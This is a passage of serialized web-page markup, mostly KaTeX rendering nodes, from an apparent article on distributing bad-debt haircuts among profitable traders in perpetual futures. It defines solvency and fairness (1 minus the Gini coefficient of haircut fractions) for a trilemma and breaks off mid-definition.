",{"type":25,"tag":264,"props":176014,"children":176016},{"className":176015},[267,268],[176017],{"type":25,"tag":271,"props":176018,"children":176020},{"className":176019},[274],[176021],{"type":25,"tag":271,"props":176022,"children":176024},{"className":176023,"ariaHidden":280},[279],[176025],{"type":25,"tag":271,"props":176026,"children":176028},{"className":176027},[285],[176029,176033],{"type":25,"tag":271,"props":176030,"children":176032},{"className":176031,"style":2287},[290],[],{"type":25,"tag":271,"props":176034,"children":176036},{"className":176035},[296],[176037,176042],{"type":25,"tag":271,"props":176038,"children":176040},{"className":176039,"style":1555},[296,297],[176041],{"type":30,"value":173558},{"type":25,"tag":271,"props":176043,"children":176045},{"className":176044},[982],[176046],{"type":25,"tag":271,"props":176047,"children":176049},{"className":176048},[987,1100],[176050,176079],{"type":25,"tag":271,"props":176051,"children":176053},{"className":176052},[992],[176054,176074],{"type":25,"tag":271,"props":176055,"children":176057},{"className":176056,"style":1918},[997],[176058],{"type":25,"tag":271,"props":176059,"children":176060},{"style":1922},[176061,176065],{"type":25,"tag":271,"props":176062,"children":176064},{"className":176063,"style":1008},[1007],[],{"type":25,"tag":271,"props":176066,"children":176068},{"className":176067},[1013,1014,1015,1016],[176069],{"type":25,"tag":271,"props":176070,"children":176072},{"className":176071},[296,297,1016],[176073],{"type":30,"value":1937},{"type":25,"tag":271,"props":176075,"children":176077},{"className":176076},[1177],[176078],{"type":30,"value":1180},{"type":25,"tag":271,"props":176080,"children":176082},{"className":176081},[992],[176083],{"type":25,"tag":271,"props":176084,"children":176086},{"className":176085,"style":1619},[997],[176087],{"type":25,"tag":271,"props":176088,"children":176089},{},[],{"type":30,"value":176091}," is PNL for longs, negated for shorts; ",{"type":25,"tag":264,"props":176093,"children":176095},{"className":176094},[267,268],[176096],{"type":25,"tag":271,"props":176097,"children":176099},{"className":176098},[274],[176100],{"type":25,"tag":271,"props":176101,"children":176103},{"className":176102,"ariaHidden":280},[279],[176104],{"type":25,"tag":271,"props":176105,"children":176107},{"className":176106},[285],[176108,176112],{"type":25,"tag":271,"props":176109,"children":176111},{"className":176110,"style":2287},[290],[],{"type":25,"tag":271,"props":176113,"children":176115},{"className":176114},[296],[176116,176121],{"type":25,"tag":271,"props":176117,"children":176119},{"className":176118,"style":14678},[296,297],[176120],{"type":30,"value":11188},{"type":25,"tag":271,"props":176122,"children":176124},{"className":176123},[982],[176125],{"type":25,"tag":271,"props":176126,"children":176128},{"className":176127},[987,1100],[176129,176158],{"type":25,"tag":271,"props":176130,"children":176132},{"className":176131},[992],[176133,176153],{"type":25,"tag":271,"props":176134,"children":176136},{"className":176135,"style":1918},[997],[176137],{"type":25,"tag":271,"props":176138,"children":176139},{"style":173715},[176140,176144],{"type":25,"tag":271,"props":176141,"children":176143},{"className":176142,"style":1008},[1007],[],{"type":25,"tag":271,"props":176145,"children":176147},{"className":176146},[1013,1014,1015,1016],[176148],{"type":25,"tag":271,"props":176149,"children":176151},{"className":176150},[296,297,1016],[176152],{"type":30,"value":1937},{"type":25,"tag":271,"props":176154,"children":176156},{"className":176155},[1177],[176157],{"type":30,"value":1180},{"type":25,"tag":271,"props":176159,"children":176161},{"className":176160},[992],[176162],{"type":25,"tag":271,"props":176163,"children":176165},{"className":176164,"style":1619},[997],[176166],{"type":25,"tag":271,"props":176167,"children":176168},{},[],{"type":30,"value":176170}," is the positive part of PNL.)",{"type":25,"tag":26,"props":176172,"children":176173},{},[176174],{"type":30,"value":176175},"And let's make the trilemma definitions concrete:",{"type":25,"tag":108,"props":176177,"children":176178},{},[176179,176653,177217],{"type":25,"tag":112,"props":176180,"children":176181},{},[176182,176186,176187,176441,176443,176494,176496,176599,176600,176651],{"type":25,"tag":10281,"props":176183,"children":176184},{},[176185],{"type":30,"value":173299},{"type":30,"value":46024},{"type":25,"tag":264,"props":176188,"children":176190},{"className":176189},[267,268],[176191],{"type":25,"tag":271,"props":176192,"children":176194},{"className":176193},[274],[176195],{"type":25,"tag":271,"props":176196,"children":176198},{"className":176197,"ariaHidden":280},[279],[176199,176226],{"type":25,"tag":271,"props":176200,"children":176202},{"className":176201},[285],[176203,176208,176213,176217,176222],{"type":25,"tag":271,"props":176204,"children":176207},{"className":176205,"style":176206},[290],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":176209,"children":176211},{"className":176210},[296],[176212],{"type":30,"value":968},{"type":25,"tag":271,"props":176214,"children":176216},{"className":176215,"style":2066},[337],[],{"type":25,"tag":271,"props":176218,"children":176220},{"className":176219},[2071],[176221],{"type":30,"value":2774},{"type":25,"tag":271,"props":176223,"children":176225},{"className":176224,"style":2066},[337],[],{"type":25,"tag":271,"props":176227,"children":176229},{"className":176228},[285],[176230,176235],{"type":25,"tag":271,"props":176231,"children":176234},{"className":176232,"style":176233},[290],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":25,"tag":271,"props":176236,"children":176238},{"className":176237},[296],[176239,176243,176437],{"type":25,"tag":271,"props":176240,"children":176242},{"className":176241},[391,5850],[],{"type":25,"tag":271,"props":176244,"children":176246},{"className":176245},[5855],[176247],{"type":25,"tag":271,"props":176248,"children":176250},{"className":176249},[987,1100],[176251,176425],{"type":25,"tag":271,"props":176252,"children":176254},{"className":176253},[992],[176255,176420],{"type":25,"tag":271,"props":176256,"children":176259},{"className":176257,"style":176258},[997],"height:0.8884em;",[176260,176334,176345],{"type":25,"tag":271,"props":176261,"children":176262},{"style":5872},[176263,176267],{"type":25,"tag":271,"props":176264,"children":176266},{"className":176265,"style":4495},[1007],[],{"type":25,"tag":271,"props":176268,"children":176270},{"className":176269},[1013,1014,1015,1016],[176271],{"type":25,"tag":271,"props":176272,"children":176274},{"className":176273},[296,1016],[176275],{"type":25,"tag":271,"props":176276,"children":176278},{"className":176277},[296,1016],[176279,176284],{"type":25,"tag":271,"props":176280,"children":176282},{"className":176281,"style":2296},[296,297,1016],[176283],{"type":30,"value":173974},{"type":25,"tag":271,"props":176285,"children":176287},{"className":176286},[982],[176288],{"type":25,"tag":271,"props":176289,"children":176291},{"className":176290},[987,1100],[176292,176322],{"type":25,"tag":271,"props":176293,"children":176295},{"className":176294},[992],[176296,176317],{"type":25,"tag":271,"props":176297,"children":176299},{"className":176298,"style":4659},[997],[176300],{"type":25,"tag":271,"props":176301,"children":176303},{"style":176302},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[176304,176308],{"type":25,"tag":271,"props":176305,"children":176307},{"className":176306,"style":1161},[1007],[],{"type":25,"tag":271,"props":176309,"children":176311},{"className":176310},[1013,1166,1167,1016],[176312],{"type":25,"tag":271,"props":176313,"children":176315},{"className":176314,"style":298},[296,297,1016],[176316],{"type":30,"value":301},{"type":25,"tag":271,"props":176318,"children":176320},{"className":176319},[1177],[176321],{"type":30,"value":1180},{"type":25,"tag":271,"props":176323,"children":176325},{"className":176324},[992],[176326],{"type":25,"tag":271,"props":176327,"children":176330},{"className":176328,"style":176329},[997],"height:0.1433em;",[176331],{"type":25,"tag":271,"props":176332,"children":176333},{},[],{"type":25,"tag":271,"props":176335,"children":176336},{"style":5905},[176337,176341],{"type":25,"tag":271,"props":176338,"children":176340},{"className":176339,"style":4495},[1007],[],{"type":25,"tag":271,"props":176342,"children":176344},{"className":176343,"style":5915},[5914],[],{"type":25,"tag":271,"props":176346,"children":176348},{"style":176347},"top:-3.4101em;",[176349,176353],{"type":25,"tag":271,"props":176350,"children":176352},{"className":176351,"style":4495},[1007],[],{"type":25,"tag":271,"props":176354,"children":176356},{"className":176355},[1013,1014,1015,1016],[176357],{"type":25,"tag":271,"props":176358,"children":176360},{"className":176359},[296,1016],[176361],{"type":25,"tag":271,"props":176362,"children":176364},{"className":176363},[296,1016],[176365,176370],{"type":25,"tag":271,"props":176366,"children":176368},{"className":176367,"style":15175},[296,297,1016],[176369],{"type":30,"value":15178},{"type":25,"tag":271,"props":176371,"children":176373},{"className":176372},[982],[176374],{"type":25,"tag":271,"props":176375,"children":176377},{"className":176376},[987,1100],[176378,176409],{"type":25,"tag":271,"props":176379,"children":176381},{"className":176380},[992],[176382,176404],{"type":25,"tag":271,"props":176383,"children":176386},{"className":176384,"style":176385},[997],"height:0.2963em;",[176387],{"type":25,"tag":271,"props":176388,"children":176390},{"style":176389},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[176391,176395],{"type":25,"tag":271,"props":176392,"children":176394},{"className":176393,"style":1161},[1007],[],{"type":25,"tag":271,"props":176396,"children":176398},{"className":176397},[1013,1166,1167,1016],[176399],{"type":25,"tag":271,"props":176400,"children":176402},{"className":176401},[296,297,1016],[176403],{"type":30,"value":6292},{"type":25,"tag":271,"props":176405,"children":176407},{"className":176406},[1177],[176408],{"type":30,"value":1180},{"type":25,"tag":271,"props":176410,"children":176412},{"className":176411},[992],[176413],{"type":25,"tag":271,"props":176414,"children":176416},{"className":176415,"style":1188},[997],[176417],{"type":25,"tag":271,"props":176418,"children":176419},{},[],{"type":25,"tag":271,"props":176421,"children":176423},{"className":176422},[1177],[176424],{"type":30,"value":1180},{"type":25,"tag":271,"props":176426,"children":176428},{"className":176427},[992],[176429],{"type":25,"tag":271,"props":176430,"children":176433},{"className":176431,"style":176432},[997],"height:0.4453em;",[176434],{"type":25,"tag":271,"props":176435,"children":176436},{},[],{"type":25,"tag":271,"props":176438,"children":176440},{"className":176439},[437,5850],[],{"type":30,"value":176442}," — how much of the total bad debt was actually covered. ",{"type":25,"tag":264,"props":176444,"children":176446},{"className":176445},[267,268],[176447],{"type":25,"tag":271,"props":176448,"children":176450},{"className":176449},[274],[176451],{"type":25,"tag":271,"props":176452,"children":176454},{"className":176453,"ariaHidden":280},[279],[176455,176481],{"type":25,"tag":271,"props":176456,"children":176458},{"className":176457},[285],[176459,176463,176468,176472,176477],{"type":25,"tag":271,"props":176460,"children":176462},{"className":176461,"style":291},[290],[],{"type":25,"tag":271,"props":176464,"children":176466},{"className":176465,"style":35148},[296,297],[176467],{"type":30,"value":35151},{"type":25,"tag":271,"props":176469,"children":176471},{"className":176470,"style":338},[337],[],{"type":25,"tag":271,"props":176473,"children":176475},{"className":176474},[356],[176476],{"type":30,"value":1065},{"type":25,"tag":271,"props":176478,"children":176480},{"className":176479,"style":338},[337],[],{"type":25,"tag":271,"props":176482,"children":176484},{"className":176483},[285],[176485,176489],{"type":25,"tag":271,"props":176486,"children":176488},{"className":176487,"style":3128},[290],[],{"type":25,"tag":271,"props":176490,"children":176492},{"className":176491},[296],[176493],{"type":30,"value":968},{"type":30,"value":176495}," means fully solvent (",{"type":25,"tag":264,"props":176497,"children":176499},{"className":176498},[267,268],[176500],{"type":25,"tag":271,"props":176501,"children":176503},{"className":176502},[274],[176504],{"type":25,"tag":271,"props":176505,"children":176507},{"className":176506,"ariaHidden":280},[279],[176508,176586],{"type":25,"tag":271,"props":176509,"children":176511},{"className":176510},[285],[176512,176516,176573,176577,176582],{"type":25,"tag":271,"props":176513,"children":176515},{"className":176514,"style":3320},[290],[],{"type":25,"tag":271,"props":176517,"children":176519},{"className":176518},[296],[176520,176525],{"type":25,"tag":271,"props":176521,"children":176523},{"className":176522,"style":15175},[296,297],[176524],{"type":30,"value":15178},{"type":25,"tag":271,"props":176526,"children":176528},{"className":176527},[982],[176529],{"type":25,"tag":271,"props":176530,"children":176532},{"className":176531},[987,1100],[176533,176562],{"type":25,"tag":271,"props":176534,"children":176536},{"className":176535},[992],[176537,176557],{"type":25,"tag":271,"props":176538,"children":176540},{"className":176539,"style":174130},[997],[176541],{"type":25,"tag":271,"props":176542,"children":176543},{"style":174134},[176544,176548],{"type":25,"tag":271,"props":176545,"children":176547},{"className":176546,"style":1008},[1007],[],{"type":25,"tag":271,"props":176549,"children":176551},{"className":176550},[1013,1014,1015,1016],[176552],{"type":25,"tag":271,"props":176553,"children":176555},{"className":176554},[296,297,1016],[176556],{"type":30,"value":6292},{"type":25,"tag":271,"props":176558,"children":176560},{"className":176559},[1177],[176561],{"type":30,"value":1180},{"type":25,"tag":271,"props":176563,"children":176565},{"className":176564},[992],[176566],{"type":25,"tag":271,"props":176567,"children":176569},{"className":176568,"style":1619},[997],[176570],{"type":25,"tag":271,"props":176571,"children":176572},{},[],{"type":25,"tag":271,"props":176574,"children":176576},{"className":176575,"style":338},[337],[],{"type":25,"tag":271,"props":176578,"children":176580},{"className":176579},[356],[176581],{"type":30,"value":1065},{"type":25,"tag":271,"props":176583,"children":176585},{"className":176584,"style":338},[337],[],{"type":25,"tag":271,"props":176587,"children":176589},{"className":176588},[285],[176590,176594],{"type":25,"tag":271,"props":176591,"children":176593},{"className":176592,"style":3128},[290],[],{"type":25,"tag":271,"props":176595,"children":176597},{"className":176596},[296],[176598],{"type":30,"value":953},{"type":30,"value":28299},{"type":25,"tag":264,"props":176601,"children":176603},{"className":176602},[267,268],[176604],{"type":25,"tag":271,"props":176605,"children":176607},{"className":176606},[274],[176608],{"type":25,"tag":271,"props":176609,"children":176611},{"className":176610,"ariaHidden":280},[279],[176612,176638],{"type":25,"tag":271,"props":176613,"children":176615},{"className":176614},[285],[176616,176620,176625,176629,176634],{"type":25,"tag":271,"props":176617,"children":176619},{"className":176618,"style":291},[290],[],{"type":25,"tag":271,"props":176621,"children":176623},{"className":176622,"style":35148},[296,297],[176624],{"type":30,"value":35151},{"type":25,"tag":271,"props":176626,"children":176628},{"className":176627,"style":338},[337],[],{"type":25,"tag":271,"props":176630,"children":176632},{"className":176631},[356],[176633],{"type":30,"value":1065},{"type":25,"tag":271,"props":176635,"children":176637},{"className":176636,"style":338},[337],[],{"type":25,"tag":271,"props":176639,"children":176641},{"className":176640},[285],[176642,176646],{"type":25,"tag":271,"props":176643,"children":176645},{"className":176644,"style":3128},[290],[],{"type":25,"tag":271,"props":176647,"children":176649},{"className":176648},[296],[176650],{"type":30,"value":953},{"type":30,"value":176652}," means nothing was recovered.",{"type":25,"tag":112,"props":176654,"children":176655},{},[176656,176660,176661,176784,176785,177002,177004,177108,177110,177161,177163,177215],{"type":25,"tag":10281,"props":176657,"children":176658},{},[176659],{"type":30,"value":173309},{"type":30,"value":46024},{"type":25,"tag":264,"props":176662,"children":176664},{"className":176663},[267,268],[176665],{"type":25,"tag":271,"props":176666,"children":176668},{"className":176667},[274],[176669],{"type":25,"tag":271,"props":176670,"children":176672},{"className":176671,"ariaHidden":280},[279],[176673,176699],{"type":25,"tag":271,"props":176674,"children":176676},{"className":176675},[285],[176677,176681,176686,176690,176695],{"type":25,"tag":271,"props":176678,"children":176680},{"className":176679,"style":176206},[290],[],{"type":25,"tag":271,"props":176682,"children":176684},{"className":176683},[296],[176685],{"type":30,"value":968},{"type":25,"tag":271,"props":176687,"children":176689},{"className":176688,"style":2066},[337],[],{"type":25,"tag":271,"props":176691,"children":176693},{"className":176692},[2071],[176694],{"type":30,"value":2774},{"type":25,"tag":271,"props":176696,"children":176698},{"className":176697,"style":2066},[337],[],{"type":25,"tag":271,"props":176700,"children":176702},{"className":176701},[285],[176703,176707,176717,176722,176779],{"type":25,"tag":271,"props":176704,"children":176706},{"className":176705,"style":375},[290],[],{"type":25,"tag":271,"props":176708,"children":176710},{"className":176709},[296,30],[176711],{"type":25,"tag":271,"props":176712,"children":176714},{"className":176713},[296],[176715],{"type":30,"value":176716},"Gini",{"type":25,"tag":271,"props":176718,"children":176720},{"className":176719},[391],[176721],{"type":30,"value":394},{"type":25,"tag":271,"props":176723,"children":176725},{"className":176724},[296],[176726,176731],{"type":25,"tag":271,"props":176727,"children":176729},{"className":176728},[296,297],[176730],{"type":30,"value":97458},{"type":25,"tag":271,"props":176732,"children":176734},{"className":176733},[982],[176735],{"type":25,"tag":271,"props":176736,"children":176738},{"className":176737},[987,1100],[176739,176768],{"type":25,"tag":271,"props":176740,"children":176742},{"className":176741},[992],[176743,176763],{"type":25,"tag":271,"props":176744,"children":176746},{"className":176745,"style":1918},[997],[176747],{"type":25,"tag":271,"props":176748,"children":176749},{"style":1592},[176750,176754],{"type":25,"tag":271,"props":176751,"children":176753},{"className":176752,"style":1008},[1007],[],{"type":25,"tag":271,"props":176755,"children":176757},{"className":176756},[1013,1014,1015,1016],[176758],{"type":25,"tag":271,"props":176759,"children":176761},{"className":176760},[296,297,1016],[176762],{"type":30,"value":1937},{"type":25,"tag":271,"props":176764,"children":176766},{"className":176765},[1177],[176767],{"type":30,"value":1180},{"type":25,"tag":271,"props":176769,"children":176771},{"className":176770},[992],[176772],{"type":25,"tag":271,"props":176773,"children":176775},{"className":176774,"style":1619},[997],[176776],{"type":25,"tag":271,"props":176777,"children":176778},{},[],{"type":25,"tag":271,"props":176780,"children":176782},{"className":176781},[437],[176783],{"type":30,"value":440},{"type":30,"value":20445},{"type":25,"tag":264,"props":176786,"children":176788},{"className":176787},[267,268],[176789],{"type":25,"tag":271,"props":176790,"children":176792},{"className":176791},[274],[176793],{"type":25,"tag":271,"props":176794,"children":176796},{"className":176795,"ariaHidden":280},[279],[176797,176875],{"type":25,"tag":271,"props":176798,"children":176800},{"className":176799},[285],[176801,176805,176862,176866,176871],{"type":25,"tag":271,"props":176802,"children":176804},{"className":176803,"style":154766},[290],[],{"type":25,"tag":271,"props":176806,"children":176808},{"className":176807},[296],[176809,176814],{"type":25,"tag":271,"props":176810,"children":176812},{"className":176811},[296,297],[176813],{"type":30,"value":97458},{"type":25,"tag":271,"props":176815,"children":176817},{"className":176816},[982],[176818],{"type":25,"tag":271,"props":176819,"children":176821},{"className":176820},[987,1100],[176822,176851],{"type":25,"tag":271,"props":176823,"children":176825},{"className":176824},[992],[176826,176846],{"type":25,"tag":271,"props":176827,"children":176829},{"className":176828,"style":1918},[997],[176830],{"type":25,"tag":271,"props":176831,"children":176832},{"style":1592},[176833,176837],{"type":25,"tag":271,"props":176834,"children":176836},{"className":176835,"style":1008},[1007],[],{"type":25,"tag":271,"props":176838,"children":176840},{"className":176839},[1013,1014,1015,1016],[176841],{"type":25,"tag":271,"props":176842,"children":176844},{"className":176843},[296,297,1016],[176845],{"type":30,"value":1937},{"type":25,"tag":271,"props":176847,"children":176849},{"className":176848},[1177],[176850],{"type":30,"value":1180},{"type":25,"tag":271,"props":176852,"children":176854},{"className":176853},[992],[176855],{"type":25,"tag":271,"props":176856,"children":176858},{"className":176857,"style":1619},[997],[176859],{"type":25,"tag":271,"props":176860,"children":176861},{},[],{"type":25,"tag":271,"props":176863,"children":176865},{"className":176864,"style":338},[337],[],{"type":25,"tag":271,"props":176867,"children":176869},{"className":176868},[356],[176870],{"type":30,"value":1065},{"type":25,"tag":271,"props":176872,"children":176874},{"className":176873,"style":338},[337],[],{"type":25,"tag":271,"props":176876,"children":176878},{"className":176877},[285],[176879,176883,176940,176945],{"type":25,"tag":271,"props":176880,"children":176882},{"className":176881,"style":375},[290],[],{"type":25,"tag":271,"props":176884,"children":176886},{"className":176885},[296],[176887,176892],{"type":25,"tag":271,"props":176888,"children":176890},{"className":176889},[296,297],[176891],{"type":30,"value":1136},{"type":25,"tag":271,"props":176893,"children":176895},{"className":176894},[982],[176896],{"type":25,"tag":271,"props":176897,"children":176899},{"className":176898},[987,1100],[176900,176929],{"type":25,"tag":271,"props":176901,"children":176903},{"className":176902},[992],[176904,176924],{"type":25,"tag":271,"props":176905,"children":176907},{"className":176906,"style":1918},[997],[176908],{"type":25,"tag":271,"props":176909,"children":176910},{"style":1592},[176911,176915],{"type":25,"tag":271,"props":176912,"children":176914},{"className":176913,"style":1008},[1007],[],{"type":25,"tag":271,"props":176916,"children":176918},{"className":176917},[1013,1014,1015,1016],[176919],{"type":25,"tag":271,"props":176920,"children":176922},{"className":176921},[296,297,1016],[176923],{"type":30,"value":1937},{"type":25,"tag":271,"props":176925,"children":176927},{"className":176926},[1177],[176928],{"type":30,"value":1180},{"type":25,"tag":271,"props":176930,"children":176932},{"className":176931},[992],[176933],{"type":25,"tag":271,"props":176934,"children":176936},{"className":176935,"style":1619},[997],[176937],{"type":25,"tag":271,"props":176938,"children":176939},{},[],{"type":25,"tag":271,"props":176941,"children":176943},{"className":176942},[296],[176944],{"type":30,"value":7621},{"type":25,"tag":271,"props":176946,"children":176948},{"className":176947},[296],[176949,176954],{"type":25,"tag":271,"props":176950,"children":176952},{"className":176951,"style":14678},[296,297],[176953],{"type":30,"value":11188},{"type":25,"tag":271,"props":176955,"children":176957},{"className":176956},[982],[176958],{"type":25,"tag":271,"props":176959,"children":176961},{"className":176960},[987,1100],[176962,176991],{"type":25,"tag":271,"props":176963,"children":176965},{"className":176964},[992],[176966,176986],{"type":25,"tag":271,"props":176967,"children":176969},{"className":176968,"style":1918},[997],[176970],{"type":25,"tag":271,"props":176971,"children":176972},{"style":173715},[176973,176977],{"type":25,"tag":271,"props":176974,"children":176976},{"className":176975,"style":1008},[1007],[],{"type":25,"tag":271,"props":176978,"children":176980},{"className":176979},[1013,1014,1015,1016],[176981],{"type":25,"tag":271,"props":176982,"children":176984},{"className":176983},[296,297,1016],[176985],{"type":30,"value":1937},{"type":25,"tag":271,"props":176987,"children":176989},{"className":176988},[1177],[176990],{"type":30,"value":1180},{"type":25,"tag":271,"props":176992,"children":176994},{"className":176993},[992],[176995],{"type":25,"tag":271,"props":176996,"children":176998},{"className":176997,"style":1619},[997],[176999],{"type":25,"tag":271,"props":177000,"children":177001},{},[],{"type":30,"value":177003}," for each winner with ",{"type":25,"tag":264,"props":177005,"children":177007},{"className":177006},[267,268],[177008],{"type":25,"tag":271,"props":177009,"children":177011},{"className":177010},[274],[177012],{"type":25,"tag":271,"props":177013,"children":177015},{"className":177014,"ariaHidden":280},[279],[177016,177095],{"type":25,"tag":271,"props":177017,"children":177019},{"className":177018},[285],[177020,177025,177082,177086,177091],{"type":25,"tag":271,"props":177021,"children":177024},{"className":177022,"style":177023},[290],"height:0.6891em;vertical-align:-0.15em;",[],{"type":25,"tag":271,"props":177026,"children":177028},{"className":177027},[296],[177029,177034],{"type":25,"tag":271,"props":177030,"children":177032},{"className":177031,"style":14678},[296,297],[177033],{"type":30,"value":11188},{"type":25,"tag":271,"props":177035,"children":177037},{"className":177036},[982],[177038],{"type":25,"tag":271,"props":177039,"children":177041},{"className":177040},[987,1100],[177042,177071],{"type":25,"tag":271,"props":177043,"children":177045},{"className":177044},[992],[177046,177066],{"type":25,"tag":271,"props":177047,"children":177049},{"className":177048,"style":1918},[997],[177050],{"type":25,"tag":271,"props":177051,"children":177052},{"style":173715},[177053,177057],{"type":25,"tag":271,"props":177054,"children":177056},{"className":177055,"style":1008},[1007],[],{"type":25,"tag":271,"props":177058,"children":177060},{"className":177059},[1013,1014,1015,1016],[177061],{"type":25,"tag":271,"props":177062,"children":177064},{"className":177063},[296,297,1016],[177065],{"type":30,"value":1937},{"type":25,"tag":271,"props":177067,"children":177069},{"className":177068},[1177],[177070],{"type":30,"value":1180},{"type":25,"tag":271,"props":177072,"children":177074},{"className":177073},[992],[177075],{"type":25,"tag":271,"props":177076,"children":177078},{"className":177077,"style":1619},[997],[177079],{"type":25,"tag":271,"props":177080,"children":177081},{},[],{"type":25,"tag":271,"props":177083,"children":177085},{"className":177084,"style":338},[337],[],{"type":25,"tag":271,"props":177087,"children":177089},{"className":177088},[356],[177090],{"type":30,"value":23586},{"type":25,"tag":271,"props":177092,"children":177094},{"className":177093,"style":338},[337],[],{"type":25,"tag":271,"props":177096,"children":177098},{"className":177097},[285],[177099,177103],{"type":25,"tag":271,"props":177100,"children":177102},{"className":177101,"style":3128},[290],[],{"type":25,"tag":271,"props":177104,"children":177106},{"className":177105},[296],[177107],{"type":30,"value":953},{"type":30,"value":177109}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":25,"tag":264,"props":177111,"children":177113},{"className":177112},[267,268],[177114],{"type":25,"tag":271,"props":177115,"children":177117},{"className":177116},[274],[177118],{"type":25,"tag":271,"props":177119,"children":177121},{"className":177120,"ariaHidden":280},[279],[177122,177148],{"type":25,"tag":271,"props":177123,"children":177125},{"className":177124},[285],[177126,177130,177135,177139,177144],{"type":25,"tag":271,"props":177127,"children":177129},{"className":177128,"style":291},[290],[],{"type":25,"tag":271,"props":177131,"children":177133},{"className":177132,"style":298},[296,297],[177134],{"type":30,"value":14154},{"type":25,"tag":271,"props":177136,"children":177138},{"className":177137,"style":338},[337],[],{"type":25,"tag":271,"props":177140,"children":177142},{"className":177141},[356],[177143],{"type":30,"value":1065},{"type":25,"tag":271,"props":177145,"children":177147},{"className":177146,"style":338},[337],[],{"type":25,"tag":271,"props":177149,"children":177151},{"className":177150},[285],[177152,177156],{"type":25,"tag":271,"props":177153,"children":177155},{"className":177154,"style":3128},[290],[],{"type":25,"tag":271,"props":177157,"children":177159},{"className":177158},[296],[177160],{"type":30,"value":968},{"type":30,"value":177162}," means everyone loses the same fraction of their PNL. ",{"type":25,"tag":264,"props":177164,"children":177166},{"className":177165},[267,268],[177167],{"type":25,"tag":271,"props":177168,"children":177170},{"className":177169},[274],[177171],{"type":25,"tag":271,"props":177172,"children":177174},{"className":177173,"ariaHidden":280},[279],[177175,177202],{"type":25,"tag":271,"props":177176,"children":177178},{"className":177177},[285],[177179,177183,177188,177192,177198],{"type":25,"tag":271,"props":177180,"children":177182},{"className":177181,"style":291},[290],[],{"type":25,"tag":271,"props":177184,"children":177186},{"className":177185,"style":298},[296,297],[177187],{"type":30,"value":14154},{"type":25,"tag":271,"props":177189,"children":177191},{"className":177190,"style":338},[337],[],{"type":25,"tag":271,"props":177193,"children":177195},{"className":177194},[356],[177196],{"type":30,"value":177197},"≈",{"type":25,"tag":271,"props":177199,"children":177201},{"className":177200,"style":338},[337],[],{"type":25,"tag":271,"props":177203,"children":177205},{"className":177204},[285],[177206,177210],{"type":25,"tag":271,"props":177207,"children":177209},{"className":177208,"style":3128},[290],[],{"type":25,"tag":271,"props":177211,"children":177213},{"className":177212},[296],[177214],{"type":30,"value":953},{"type":30,"value":177216}," means a few get wiped while most are untouched.",{"type":25,"tag":112,"props":177218,"children":177219},{},[177220,177224,177225,177383,177385,177479,177481],{"type":25,"tag":10281,"props":177221,"children":177222},{},[177223],{"type":30,"value":173319},{"type":30,"value":46024},{"type":25,"tag":264,"props":177226,"children":177228},{"className":177227},[267,268],[177229],{"type":25,"tag":271,"props":177230,"children":177232},{"className":177231},[274],[177233],{"type":25,"tag":271,"props":177234,"children":177236},{"className":177235,"ariaHidden":280},[279],[177237],{"type":25,"tag":271,"props":177238,"children":177240},{"className":177239},[285],[177241,177246,177321,177326],{"type":25,"tag":271,"props":177242,"children":177245},{"className":177243,"style":177244},[290],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":25,"tag":271,"props":177247,"children":177249},{"className":177248},[296],[177250,177255],{"type":25,"tag":271,"props":177251,"children":177253},{"className":177252,"style":108152},[296,297],[177254],{"type":30,"value":174044},{"type":25,"tag":271,"props":177256,"children":177258},{"className":177257},[982],[177259],{"type":25,"tag":271,"props":177260,"children":177262},{"className":177261},[987,1100],[177263,177309],{"type":25,"tag":271,"props":177264,"children":177266},{"className":177265},[992],[177267,177304],{"type":25,"tag":271,"props":177268,"children":177270},{"className":177269,"style":998},[997],[177271,177288],{"type":25,"tag":271,"props":177272,"children":177274},{"style":177273},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[177275,177279],{"type":25,"tag":271,"props":177276,"children":177278},{"className":177277,"style":1008},[1007],[],{"type":25,"tag":271,"props":177280,"children":177282},{"className":177281},[1013,1014,1015,1016],[177283],{"type":25,"tag":271,"props":177284,"children":177286},{"className":177285,"style":298},[296,297,1016],[177287],{"type":30,"value":301},{"type":25,"tag":271,"props":177289,"children":177290},{"style":1002},[177291,177295],{"type":25,"tag":271,"props":177292,"children":177294},{"className":177293,"style":1008},[1007],[],{"type":25,"tag":271,"props":177296,"children":177298},{"className":177297},[1013,1014,1015,1016],[177299],{"type":25,"tag":271,"props":177300,"children":177302},{"className":177301,"style":1555},[296,297,1016],[177303],{"type":30,"value":173558},{"type":25,"tag":271,"props":177305,"children":177307},{"className":177306},[1177],[177308],{"type":30,"value":1180},{"type":25,"tag":271,"props":177310,"children":177312},{"className":177311},[992],[177313],{"type":25,"tag":271,"props":177314,"children":177317},{"className":177315,"style":177316},[997],"height:0.2753em;",[177318],{"type":25,"tag":271,"props":177319,"children":177320},{},[],{"type":25,"tag":271,"props":177322,"children":177324},{"className":177323},[296],[177325],{"type":30,"value":7621},{"type":25,"tag":271,"props":177327,"children":177329},{"className":177328},[296],[177330,177335],{"type":25,"tag":271,"props":177331,"children":177333},{"className":177332,"style":108152},[296,297],[177334],{"type":30,"value":174044},{"type":25,"tag":271,"props":177336,"children":177338},{"className":177337},[982],[177339],{"type":25,"tag":271,"props":177340,"children":177342},{"className":177341},[987,1100],[177343,177372],{"type":25,"tag":271,"props":177344,"children":177346},{"className":177345},[992],[177347,177367],{"type":25,"tag":271,"props":177348,"children":177350},{"className":177349,"style":155042},[997],[177351],{"type":25,"tag":271,"props":177352,"children":177353},{"style":174063},[177354,177358],{"type":25,"tag":271,"props":177355,"children":177357},{"className":177356,"style":1008},[1007],[],{"type":25,"tag":271,"props":177359,"children":177361},{"className":177360},[1013,1014,1015,1016],[177362],{"type":25,"tag":271,"props":177363,"children":177365},{"className":177364,"style":298},[296,297,1016],[177366],{"type":30,"value":301},{"type":25,"tag":271,"props":177368,"children":177370},{"className":177369},[1177],[177371],{"type":30,"value":1180},{"type":25,"tag":271,"props":177373,"children":177375},{"className":177374},[992],[177376],{"type":25,"tag":271,"props":177377,"children":177379},{"className":177378,"style":1619},[997],[177380],{"type":25,"tag":271,"props":177381,"children":177382},{},[],{"type":30,"value":177384}," — 